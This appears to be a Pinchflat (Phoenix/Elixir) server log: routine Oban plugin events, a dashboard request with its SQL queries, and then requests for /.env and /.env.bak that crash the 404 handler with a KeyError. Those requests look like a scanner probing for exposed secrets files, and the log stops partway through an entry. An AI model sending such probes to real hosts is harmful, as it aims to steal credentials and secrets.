{"source":"oban","duration":333,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:14:20.542 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:14:50.543 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:15:00.999 [info] {"source":"oban","duration":203,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:15:20.544 [info] {"source":"oban","duration":566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:15:50.545 [info] {"source":"oban","duration":748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:16:01.000 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:16:20.547 [info] {"source":"oban","duration":826,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:16:50.549 [info] {"source":"oban","duration":914,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:17:00.001 [info] {"source":"oban","duration":147,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:17:20.551 [info] {"source":"oban","duration":746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:17:50.552 [info] {"source":"oban","duration":729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:18:00.002 [info] {"source":"oban","duration":112,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:18:20.553 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:18:50.554 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:19:00.003 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:19:20.555 [info] {"source":"oban","duration":592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:19:50.556 [info] {"source":"oban","duration":781,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:20:00.004 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:20:20.558 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:20:50.559 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:21:00.005 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:21:20.560 [info] {"source":"oban","duration":887,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:21:50.562 [info] {"source":"oban","duration":796,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:22:00.006 [info] {"source":"oban","duration":204,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:22:20.563 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:22:50.564 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:23:00.007 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:23:20.565 [info] {"source":"oban","duration":827,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:23:50.567 [info] {"source":"oban","duration":580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:24:00.008 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:24:20.568 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:24:50.570 [info] {"source":"oban","duration":789,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:25:00.009 [info] {"source":"oban","duration":195,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:25:20.571 [info] {"source":"oban","duration":573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:25:50.572 [info] {"source":"oban","duration":597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:26:00.010 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:26:20.572 [info] {"source":"oban","duration":421,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:26:50.574 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:27:00.011 [info] {"source":"oban","duration":163,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:27:20.575 [info] {"source":"oban","duration":812,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:27:50.577 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:28:00.012 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:28:20.578 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:28:50.579 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:29:00.013 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:29:20.580 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:29:50.582 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:30:00.014 [info] {"source":"oban","duration":209,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:30:20.583 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:30:50.584 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:31:00.015 [info] {"source":"oban","duration":194,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:31:20.585 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:31:50.586 [info] {"source":"oban","duration":745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:32:00.016 [info] {"source":"oban","duration":153,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:32:20.587 [info] {"source":"oban","duration":880,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:32:50.589 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:33:00.017 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:33:20.590 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:33:50.592 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:34:00.019 [info] {"source":"oban","duration":363,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:34:20.593 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:34:50.594 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:35:00.019 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:35:20.595 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:35:50.596 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:36:00.020 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:36:20.597 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:36:50.598 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:37:00.021 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:37:20.599 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:37:50.600 [info] {"source":"oban","duration":786,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:38:00.022 [info] {"source":"oban","duration":202,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:38:20.602 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:38:50.603 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:39:00.023 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:39:20.604 [info] {"source":"oban","duration":818,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:39:50.606 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:40:00.024 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:40:20.607 [info] {"source":"oban","duration":730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:40:50.608 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:41:00.025 [info] {"source":"oban","duration":191,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:41:20.609 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:41:50.610 [info] {"source":"oban","duration":878,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:42:00.026 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:42:20.612 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:42:50.613 [info] {"source":"oban","duration":736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:43:00.027 [info] {"source":"oban","duration":210,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:43:20.614 [info] {"source":"oban","duration":801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:43:50.616 [info] {"source":"oban","duration":888,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:44:00.028 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:44:20.618 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:44:50.619 [info] {"source":"oban","duration":747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:45:00.029 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:45:02.044 [info] GET / 17:45:02.044 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 17:45:02.044 [debug] QUERY OK source="settings" db=0.1ms idle=347.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:45:02.045 [debug] QUERY OK source="media_profiles" db=0.2ms idle=347.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 17:45:02.045 [debug] QUERY OK source="sources" db=0.1ms idle=347.7ms SELECT count(s0."id") FROM "sources" AS s0 [] 17:45:02.046 [debug] QUERY OK source="media_items" db=0.6ms idle=347.9ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:45:02.048 [debug] QUERY OK source="media_items" db=1.5ms idle=217.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:45:02.048 [debug] QUERY OK source="settings" db=0.1ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:45:02.048 [debug] QUERY OK source="settings" db=0.1ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:45:02.049 [debug] QUERY OK source="settings" db=0.1ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:45:02.050 [debug] QUERY OK source="tasks" db=0.2ms idle=3.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:45:02.050 [debug] QUERY OK source="media_items" db=0.2ms idle=2.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:45:02.051 [debug] QUERY OK source="media_items" db=0.3ms idle=2.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:45:02.051 [debug] QUERY OK source="sources" db=0.1ms idle=2.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 2] 17:45:02.054 [debug] QUERY OK source="media_items" db=0.7ms idle=4.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 17:45:02.055 [debug] QUERY OK source="media_items" db=0.5ms idle=4.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:45:02.055 [debug] QUERY OK source="sources" db=0.1ms idle=4.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 2] 17:45:02.057 [info] Sent 200 in 13ms 17:45:02.412 [info] GET /.env 17:45:02.412 [debug] QUERY OK source="settings" db=0.1ms idle=361.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:45:02.412 [debug] QUERY OK source="settings" db=0.0ms idle=360.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:45:02.413 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:45:02.413 [error] #PID<0.20090.0> running PinchflatWeb.Endpoint (connection #PID<0.20088.0>, stream id 2) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.20090.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKG8mxSYF2tglqwACSOB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.20090.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.env", resp_body: nil, resp_cookies: (truncated) 17:45:02.528 [info] GET /.env.bak 17:45:02.528 [debug] QUERY OK source="settings" db=0.1ms idle=474.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:45:02.528 [debug] QUERY OK source="settings" db=0.0ms idle=473.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:45:02.529 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:45:02.529 [error] #PID<0.20091.0> running PinchflatWeb.Endpoint (connection #PID<0.20088.0>, stream id 3) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /.env.bak ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 